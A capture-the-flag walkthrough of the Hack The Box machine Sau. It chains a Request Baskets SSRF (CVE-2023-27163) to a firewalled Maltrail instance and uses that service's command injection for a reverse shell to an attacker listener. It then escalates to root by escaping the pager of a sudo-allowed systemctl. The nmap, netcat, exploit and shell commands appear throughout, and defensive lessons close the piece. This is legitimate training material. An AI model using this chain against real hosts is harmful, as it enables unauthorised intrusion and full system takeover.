Sau
A Request Baskets instance is vulnerable to SSRF (CVE-2023-27163), which we use to reach a firewalled Maltrail service. Maltrail's unauthenticated command injection gives a reverse shell as puma, and a sudo-allowed systemctl status is escalated to root through its pager.
htbTL;DR
Sau is an Easy-difficulty Linux machine built around a chain of two web vulnerabilities and a classic sudo misconfiguration. A public Request Baskets instance is vulnerable to Server-Side Request Forgery (CVE-2023-27163), which we use to pivot to a Maltrail service that is firewalled from the outside. Maltrail v0.53 suffers from unauthenticated OS command injection, giving us a reverse shell as puma. Finally, puma may run systemctl status trail.service via sudo; because systemctl pipes long output through a pager, we escape to a root shell.
| Machine | OS | Difficulty | Target IP | Pwnbox IP |
|---|---|---|---|---|
| Sau | Linux | Easy | 10.129.229.26 | 10.10.15.144 |
Enumeration
We begin by identifying the open ports and services. We first grab all open ports with a fast scan, then run service and script detection against just those ports:
ports=$(nmap -p- --min-rate 1000 -T4 10.129.229.26 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sVC 10.129.229.26The scan returns:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)80/tcp filtered http8338/tcp filtered unknown55555/tcp open http Golang net/http serverPorts 80 and 8338 are filtered (so we can’t reach them directly), but 55555 is open and serving HTTP. We browse to http://10.129.229.26:55555.

The footer tells us the site is powered by Request Baskets v1.2.1.
Foothold
SSRF in Request Baskets (CVE-2023-27163)
A quick search for that version turns up a writeup describing an SSRF vulnerability: a basket’s forward URL causes the server to proxy requests on our behalf, letting us reach services the firewall would otherwise block.
First, to confirm the SSRF, we start a listener on the Pwnbox:
nc -lvnp 80Then we create a basket named test, open its Settings, and set the forward URL to our Pwnbox IP (10.10.15.144).

Visiting http://10.129.229.26:55555/test makes the server forward the request to us, and the listener catches it — confirming the SSRF:
$ nc -lvnp 80listening on [any] 80 ...connect to [10.10.15.144] from (UNKNOWN) [10.129.229.26] 36502GET / HTTP/1.1Host: 10.10.15.144User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.5Priority: u=0, iUpgrade-Insecure-Requests: 1X-Do-Not-Forward: 1Reaching the filtered service
The nmap scan showed port 80 as filtered from the outside, but it is reachable from the box itself. We abuse the SSRF to look behind it: change the basket’s forward URL to http://127.0.0.1:80 and enable both Proxy Response and Expand Forward Path.

Visiting http://10.129.229.26:55555/test again now proxies the internal site back to us.

The footer reads Powered by Maltrail (v0.53).
Command injection in Maltrail v0.53
Maltrail v0.53 has an unauthenticated OS command injection vulnerability in its login handler. A ready-made exploit is available at spookier/Maltrail-v0.53-Exploit.
We download exploit.py, start a listener for the callback, and run the exploit — pointing it at the SSRF basket URL so the payload reaches Maltrail through Request Baskets:
nc -lvnp 9001python3 exploit.py 10.10.15.144 9001 http://10.129.229.26:55555/testThe listener receives a reverse shell as puma.
User
With a shell as puma, we read the user flag from the home directory:
$ cd /home/puma$ cat user.txt983*****************************Before going further, we upgrade to a fully interactive TTY so tools like a pager behave correctly:
$ script /dev/null -c bashCtrl+Z$ stty raw -echo; fg$ reset$ export TERM=xtermPrivilege Escalation
We check what puma may run with sudo:
$ sudo -lMatching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.servicepuma can run systemctl status trail.service as root without a password. This is a known GTFOBins vector: when systemctl status output is longer than the terminal, it is piped through a pager (less), and because the whole command runs as root, a shell spawned from that pager is a root shell.
We run the allowed command:
$ sudo /usr/bin/systemctl status trail.serviceThe output opens in less. From there we type !sh to spawn a shell, which runs as root. We can now read the root flag:
# cat /root/root.txt362*****************************Foothold via Request Baskets SSRF (CVE-2023-27163) → pivot to a firewalled Maltrail; RCE through Maltrail’s unauthenticated command injection → puma; root by escaping the pager of a sudo-allowed systemctl status.
Lessons Learned
- SSRF turns a server into a proxy for its own internal network. The firewall hid port
80, but Request Baskets happily fetched127.0.0.1:80for us. Validate and restrict the destinations a server-side fetch is allowed to reach, and never trust that “internal only” services are unreachable. - Keep third-party components patched. Both footholds — the Request Baskets SSRF and the Maltrail command injection — were public, version-specific CVEs. Removing version banners from footers and staying current would have closed the whole chain.
sudoonsystemctlisroot. Becausesystemctl statusinvokes a pager that can spawn a subshell, allowing it viasudois equivalent to handing out a root shell. Use--no-pager, drop the privilege entirely, or check binaries against GTFOBins before adding them tosudoers.